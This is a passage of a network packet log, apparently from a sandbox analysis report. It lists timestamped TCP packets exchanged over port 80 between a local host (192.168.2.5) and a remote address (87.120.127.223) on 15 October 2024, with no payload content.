Oct 15, 2024 19:22:04.197520971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197546005 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197559118 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197565079 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197591066 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197607994 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197772980 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197802067 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197818995 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197822094 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197846889 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197863102 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197865009 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197904110 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.245636940 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.245687962 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.245718956 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.245851994 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.247842073 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.247869968 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.247896910 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248022079 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.248023033 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.248042107 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248060942 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248086929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248107910 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248112917 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.248123884 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248167992 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.248286009 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.248342037 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.707739115 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707772970 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707799911 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707818031 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707860947 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707875967 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707902908 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707914114 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.707914114 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.707914114 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.707917929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707946062 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707957983 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.707964897 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.707988977 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708007097 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708029032 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708045006 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708067894 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708091021 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708106995 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708137035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708149910 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708152056 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708149910 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708149910 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708151102 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708173990 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708180904 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708383083 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708620071 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708636999 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708663940 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708677053 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708744049 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708762884 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708784103 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708787918 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708802938 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708827019 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708830118 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708848000 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708864927 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708873034 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708890915 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708903074 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.708914995 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.708957911 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709233999 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709253073 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709275961 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709290981 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709294081 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709319115 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709328890 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709347963 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709367990 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709392071 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709393024 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709413052 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709435940 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709436893 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709445953 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709455013 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709476948 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709490061 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709496975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709527969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709538937 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.709549904 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709568977 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.709593058 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.710478067 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710498095 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710522890 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710525990 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.710542917 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710562944 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710566998 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.710582972 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710607052 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710613966 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.710624933 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.710644960 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.710663080 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.718332052 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718682051 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718699932 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718735933 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718736887 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.718758106 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718779087 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718782902 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.718802929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718832970 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.718861103 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718889952 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718903065 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.718910933 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718931913 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718950987 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.718950987 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.718992949 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719211102 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719230890 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719255924 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719274998 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719348907 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719378948 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719392061 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719410896 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719429016 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719458103 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719465971 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719480038 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719497919 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719520092 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719541073 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719562054 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719566107 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719600916 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719610929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719630003 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719652891 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719665051 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719769955 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719789028 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719814062 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719815016 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719834089 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.719856977 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.719995022 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720035076 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720118046 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720136881 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720174074 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720187902 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720206976 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720231056 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720241070 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720249891 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720288038 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720480919 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720500946 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720525980 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720537901 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720546961 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720567942 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720590115 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720602989 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720624924 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720642090 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.720645905 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720669985 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.720684052 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721023083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721061945 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721067905 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721086979 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721122980 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721234083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721252918 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721277952 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721290112 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721295118 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721332073 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721421957 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721441984 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721466064 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721477985 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721482992 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721508026 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721524954 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721661091 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721682072 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721704960 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721705914 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721729040 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721749067 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.721956968 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.721998930 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722059965 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722081900 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722126961 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722131014 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722148895 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722173929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722187042 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722197056 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722234011 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722357035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722376108 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722402096 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722419977 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722419977 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722445965 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722461939 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722516060 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722556114 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722579002 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722599030 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722624063 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722637892 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722918987 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722963095 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.722975969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.722995996 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723033905 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723128080 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723146915 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723170996 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723186016 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723192930 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723237991 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723268986 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723288059 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723311901 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723328114 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723555088 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723573923 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723598003 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723599911 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723643064 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723679066 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723694086 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723721981 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723735094 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723740101 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723776102 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723855019 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723874092 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723897934 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723908901 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.723917007 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.723958015 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.724008083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.724109888 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.724144936 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.724147081 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.724165916 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.724209070 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745290995 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745382071 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745398998 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745424032 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745445967 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745462894 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745487928 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745518923 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745534897 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745554924 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745554924 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745554924 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745554924 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745569944 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745587111 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745609045 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745624065 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745649099 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745668888 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745686054 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745713949 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745801926 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745801926 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745801926 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745801926 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745841980 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745861053 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745881081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745883942 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745927095 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.745949984 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745974064 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.745999098 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746009111 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.746157885 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746176958 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746202946 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746202946 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.746222973 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746241093 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.746324062 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746342897 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.746361971 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751209021 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751251936 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751276970 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751317024 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751338959 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751359940 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751362085 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751362085 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751382113 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751391888 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751430035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751434088 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751452923 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751472950 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751494884 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751916885 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.751938105 CEST	80	49704	87.120.127.223	192.168.2.5
